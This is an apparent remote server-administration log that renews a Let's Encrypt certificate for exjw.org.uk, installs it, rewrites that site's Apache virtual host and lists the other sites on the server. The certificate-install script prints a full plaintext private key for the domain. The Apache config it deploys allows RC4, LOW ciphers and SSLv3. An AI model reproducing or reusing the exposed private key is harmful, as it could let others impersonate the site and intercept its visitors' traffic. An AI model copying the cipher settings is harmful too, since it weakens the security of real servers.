MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-02 15:11:27: Establishing a connection
2026-03-02 15:11:27: Establishing a connection
2026-03-02 15:11:27: 

PUT: /tmp/pkp740538

#!/bin/bash
if [ -d "/var/www/exjw_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-02 15:11:27: 

chmod 755 /tmp/pkp740538; /tmp/pkp740538; rm /tmp/pkp740538

2026-03-02 15:11:27: 


1


2026-03-02 15:11:29: Establishing a connection
2026-03-02 15:11:29: 

PUT: /tmp/pkp521372

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
cat > SFt4ozoiPMZz1I8bBmEEF_Bay1G5VtuTh2A6btxP_NU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
SFt4ozoiPMZz1I8bBmEEF_Bay1G5VtuTh2A6btxP_NU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 SFt4ozoiPMZz1I8bBmEEF_Bay1G5VtuTh2A6btxP_NU


2026-03-02 15:11:29: 

chmod 755 /tmp/pkp521372; /tmp/pkp521372; rm /tmp/pkp521372

2026-03-02 15:11:29: 




2026-03-02 15:11:35: Establishing a connection
2026-03-02 15:11:36: 

PUT: /tmp/pkp431088

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
rm SFt4ozoiPMZz1I8bBmEEF_Bay1G5VtuTh2A6btxP_NU


2026-03-02 15:11:36: 

chmod 755 /tmp/pkp431088; /tmp/pkp431088; rm /tmp/pkp431088

2026-03-02 15:11:36: 




2026-03-02 15:11:36: Establishing a connection
2026-03-02 15:11:36: 

PUT: /tmp/pkp877916

#!/bin/bash
temp_file=$(mktemp)
TARGET=7661c45fa1dc2bd7dace8763d6046428.crt

cat > $temp_file <<'endmsg'
25:ac:00:07:38:a0:1b:68:9f:e3:48:cc:e9:e8:b1:3a

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBe7QWf1LVA9a8+RR4+3llm5sMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzAyMTQxMzA0WhcNMjYwNTMxMTQxMzAzWjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALyF
TaPagh+DEO0fmqRlZ/Aw6GBvi9UzmUEtLuXdS6ITXsnW+jCVxtBGrAsy8h+pJCPk
e4C7ZJVkGCeVhf8WawsW3srJBEsWWGhoPVAc+oXebdL3XKFJRy8WSHspF1aBJm3q
5IeIn0Gdz8zLp8uH4t95kLK9mNO/b3Xnk3fue4y/8x4TEQV8AoKipp3ccoZ0AA32
j1Qml2+pWtfGRgbpvZcs1j8Zm/kn8/58rZPY/RrcJavN3XB8kyb+9aZnKx5/Kzyh
mVXoTRBgWG3NJ2GtpusLhMyPlmrGqOKcyIQwOo8/8UrNhJ+492zxOv5+wfXtR+cG
PL8Fj/1APlZbgLXfTG8CAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQ0jE5yWtEr
0OSUREYwPtVQcw9CQjAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5v
cmcvMCcGA1UdEQQgMB6CC2V4ancub3JnLnVrgg93d3cuZXhqdy5vcmcudWswEwYD
VR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMi5j
LmxlbmNyLm9yZy8xMDkuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUAFoMt
q/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGcrxrNDgAABAMARjBEAiAb
a4l22BuuXN8JEtoX7t7CV+e4RrtPVtbgj4TT17bQUgIgEzxT+183mA0tscMkHfaY
Jv3ttAY8e31uWLW+F1J6f0QAfwClyXiSXVdGF4KHDdiJZgtcVWSLfQBA8uwHaFHR
iGkZ9wAAAZyvGs11AAgAAAUAM/JKCQQDAEgwRgIhAMrVxgX8rJqvJPaQSWxDR7oU
ya0fra7SWDVQGf5neSGuAiEAtYvd+2alMDD8HL4/mDTDy8wzyKievn+jhEmb6IIC
lMAwDQYJKoZIhvcNAQELBQADggEBADtnolTG/7fCYOB9lAgG1RSGkCbO+Rrusabe
M09m8spSVkAH+ybuaOqq1xDRYjIzMzIw6j0XjmxnxEUdrehHPZeyme+tJn28Chg7
CjRCG6n64TiS7iv0wbKvSQR+vd70jRBQrWnYZT9JWA4uSMjHp9IuO2NXpDXQ3sBv
s1W1qNMiVPwgiyc2xtp6H2z4SJI5WA37rsmUYP8+vbLkXh7KM3UZNFypALh2HcnQ
mhht/XJzX7d/dBIspUUMrvdNYTDJTgCzMq2YUL2ix+7HfW+ksMX9Mo/pYcKeD7Ba
NgKipp0/mmOsj9me8ny9uxK8lKeRvhE6TEJawFnRFcN4Gl6CmIQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8hU2j2oIfgxDt
H5qkZWfwMOhgb4vVM5lBLS7l3UuiE17J1vowlcbQRqwLMvIfqSQj5HuAu2SVZBgn
lYX/FmsLFt7KyQRLFlhoaD1QHPqF3m3S91yhSUcvFkh7KRdWgSZt6uSHiJ9Bnc/M
y6fLh+LfeZCyvZjTv29155N37nuMv/MeExEFfAKCoqad3HKGdAAN9o9UJpdvqVrX
xkYG6b2XLNY/GZv5J/P+fK2T2P0a3CWrzd1wfJMm/vWmZysefys8oZlV6E0QYFht
zSdhrabrC4TMj5ZqxqjinMiEMDqPP/FKzYSfuPds8Tr+fsH17UfnBjy/BY/9QD5W
W4C130xvAgMBAAECggEAGdp/gEtqHEo22wjCMMNwvUw9F2SUx637hChfIx+gd19d
WM7boX1uNjKgS3+MHEgaRbXYM2+qO/aYfW07DXWUmSu6GBNN5xeZvjp1a3QzQy1I
NcNoolHQqlDNqzOXw2w+H0WJsQX32TbRlaNkT+btzSSjHHAgnQFxlrjQd4UZen69
kOjFccyDtkuoW0iGfHURYnR5rKHNJqqX2mGIEbLi9uUsycGifjL7IxkWAC6ldj58
pDYiDmJsYiN3fUX/TaCp2RcrcUCZ+97y3pwyYNKMkxwtyqjDu9BH6kuijCn2m3Tv
tySvUfUOQSxfXfAWuoglaxhMUmPDmjfnDCy/C0cBAQKBgQDbu90rORw8DRxLtguh
LrNfPgULmx/rab6v68I1x7IjkLPzPrsz2Yf+T9VC99B0CE7OHfpbwJKMQYPh8VZp
8arZ9Ekg0QTEo1IiHn6VsBnVHytQaF5BA54xvdTpnM5Eznw21qu5IlBhHyzLh4IP
D+WVdjkdD9O3ZRTevoc+7tXf7wKBgQDboqFsFOnIOJGzkRirTIEzMWYc2zsMvVuI
a3Cjn5Zp7ENxFqZZUR2ZqMyL7XL9A0lTpDEwzF/epIrvE1AaunWsH5g/xJrnHr8y
ZrCg6axGiAkBWoVeHxW//1tVixJ4F0W7RJTpchlxynqGPiPdFXpEvAF2601JDqMG
YXDo6vjbgQKBgQCrX2ySLlt39l2wKs4NKqgYyv0SXSza5MEk4UG5wgKMPGosdyt3
t9uZm1fff/ki1evoU3cUIi/plZsvF5Nm02WF0UFLh9kpJ5uCIrhlNFAhaMrWTl/c
Yt75Om2YuYQiI8y61Fhf7oQ0CyVbo1brOmG7XNYUdWiQ6xQI2R4QFiPWHwKBgD/b
/lE9l2emwv5Rzrlnqh0nXMhBGd8vY2C71GlOql4r2sQT0NQhWJjn0mlQ5eEYxoYy
NDc7BRjoAJlYpS7QTgx4tzy7Pkq6zt6pqutuZa+wN+YT2rkuEpXbekPaBsmyAo1b
eGyTx0AlnhBQGv9aEk3P2CEqczMttUrSpBCk2SyBAoGAe289tVWsVDSJuEyb2Eki
60YmlB0wbtqcvPqQMLRpQkzH5uw71IvunwqmNUAkFosjgRAYngC46pGKED4GzkIs
MXZcdB9N/DTlzt2fAKaQEoJXfoTYpeQ2IAi1bwV7dAO+CRM/yUitYU6fG1d399dq
SgWmV4a/jlwNBWbTE++Vl0s=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-02 15:11:36: 

chmod 755 /tmp/pkp877916; /tmp/pkp877916; rm /tmp/pkp877916

2026-03-02 15:11:36: 


dir=/etc/ssl/certs


2026-03-02 15:11:36: 

PUT: /tmp/pkp348687

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/exjw_www_org-uk.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-02 15:11:36: 

chmod 755 /tmp/pkp348687; /tmp/pkp348687; rm /tmp/pkp348687

2026-03-02 15:11:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf 39

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-02 15:11:36: 

PUT: /tmp/pkp450425

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=exjw_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/exjw_www_org-uk.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/exjw_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf= 1'
fi


2026-03-02 15:11:36: 

chmod 755 /tmp/pkp450425; /tmp/pkp450425; rm /tmp/pkp450425

2026-03-02 15:11:36: 




2026-03-02 15:11:36: 

PUT: /tmp/pkp174490

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-02 15:11:36: 

chmod 755 /tmp/pkp174490; /tmp/pkp174490; rm /tmp/pkp174490

2026-03-02 15:11:36: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-02 15:11:36: Establishing a connection
2026-03-02 15:11:36: 

PUT: /tmp/pkp997175

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-02 15:11:36: 

chmod 755 /tmp/pkp997175; /tmp/pkp997175; rm /tmp/pkp997175

2026-03-02 15:11:36: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-02 15:11:36: 

PUT: /tmp/pkp429911

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/exjw_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 15:11:36: 

chmod 755 /tmp/pkp429911; /tmp/pkp429911; rm /tmp/pkp429911

2026-03-02 15:11:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf	1323

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
